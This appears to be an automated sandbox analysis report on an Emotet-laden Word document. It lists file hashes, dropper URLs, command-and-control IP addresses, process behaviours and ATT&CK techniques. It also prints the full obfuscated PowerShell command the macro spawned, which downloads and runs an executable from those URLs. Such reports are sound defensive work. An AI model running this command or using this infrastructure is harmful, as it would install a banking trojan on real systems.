emotet | 836e0e9799a0302b3e3c5d6a9339af1d93ba2518ee7801b021e5c30e5fd0b418

General

Target

Form - Jul 31, 2020.doc
Size

169KB
MD5

8864657efd01dce67c963db119a86048
SHA1

a5365413843d4184386432313b328a2e530bdc5a
SHA256

836e0e9799a0302b3e3c5d6a9339af1d93ba2518ee7801b021e5c30e5fd0b418
SHA512

8aa7198880fb5de3344be76e930ac1c59a1d2904a76ac3b1450c277920645e0fb335152e66aef64224c64bc981a22b596a8838157b7c187fff05c417055c5734

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://mktf.mx/wp-includes/nf_p0w_z87k/

exe.dropper

http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/

exe.dropper

http://maxiquim.cl/cgi-bin/qa0_i_qzk/

exe.dropper

https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/

exe.dropper

http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/

Extracted

Family

emotet

C2

47.146.117.214:80

62.108.54.22:8080

212.51.142.238:8080

190.160.53.126:80

87.106.136.232:8080

74.208.45.104:8080

121.124.124.40:7080

124.45.106.173:443

76.27.179.47:80

210.165.156.91:80

61.19.246.238:443

81.2.235.111:8080

169.239.182.217:8080

181.230.116.163:80

139.130.242.43:80

46.105.131.87:80

139.59.60.244:8080

222.214.218.37:4143

41.60.200.34:80

200.55.243.138:8080

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3544 WINWORD.EXE
3544 WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

14.exe

description	pid	process	target process
PID 1168 wrote to memory of 1484	1168	14.exe	wevtapi.exe
PID 1168 wrote to memory of 1484	1168	14.exe	wevtapi.exe
PID 1168 wrote to memory of 1484	1168	14.exe	wevtapi.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Executes dropped EXE 2 IoCs

Processes:

14.exewevtapi.exe

pid process

1168 14.exe
1484 wevtapi.exe

pid	process
1168	14.exe
1484	wevtapi.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1168-8-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/1168-8-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/1484-11-0x0000000000550000-0x000000000055C000-memory.dmp	emotet
behavioral2/memory/1484-11-0x0000000000550000-0x000000000055C000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

Processes:

14.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\KBDA1\wevtapi.exe 14.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\KBDA1\wevtapi.exe	14.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE14.exewevtapi.exe

pid	process
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
3544	WINWORD.EXE
1168	14.exe
1484	wevtapi.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	3912	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 2708 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exewevtapi.exe

pid process

2708 powersheLL.exe
2708 powersheLL.exe
2708 powersheLL.exe
1484 wevtapi.exe
1484 wevtapi.exe
1484 wevtapi.exe
1484 wevtapi.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

10 2708 powersheLL.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	pid	process
Token: SeDebugPrivilege	2708	powersheLL.exe

pid	process
2708	powersheLL.exe
2708	powersheLL.exe
2708	powersheLL.exe
1484	wevtapi.exe
1484	wevtapi.exe
1484	wevtapi.exe
1484	wevtapi.exe

flow	pid	process
10	2708	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Form - Jul 31, 2020.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3544

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2708

C:\Users\Admin\14.exe
C:\Users\Admin\14.exe
1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1168

C:\Windows\SysWOW64\KBDA1\wevtapi.exe
"C:\Windows\SysWOW64\KBDA1\wevtapi.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:1484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\14.exe

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C:\Users\Admin\14.exe

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C:\Windows\SysWOW64\KBDA1\wevtapi.exe

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memory/1168-8-0x0000000000600000-0x000000000060C000-memory.dmp

Filesize
48KB

Download
memory/1484-9-0x0000000000000000-mapping.dmp

Download
memory/1484-11-0x0000000000550000-0x000000000055C000-memory.dmp

Filesize
48KB

Download
memory/3544-0-0x000001E371DBF000-0x000001E371DC2000-memory.dmp

Filesize
12KB

Download
memory/3544-1-0x000001E371DBC000-0x000001E371DBF000-memory.dmp

Filesize
12KB

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memory/3544-2-0x000001E371DBF000-0x000001E371DC2000-memory.dmp

Filesize
12KB

Download
memory/3544-3-0x000001E367B5B000-0x000001E367B61000-memory.dmp

Filesize
24KB

Download
memory/3544-4-0x000001E371FAB000-0x000001E371FB0000-memory.dmp

Filesize
20KB

Download
memory/3544-5-0x000001E371FAB000-0x000001E371FB0000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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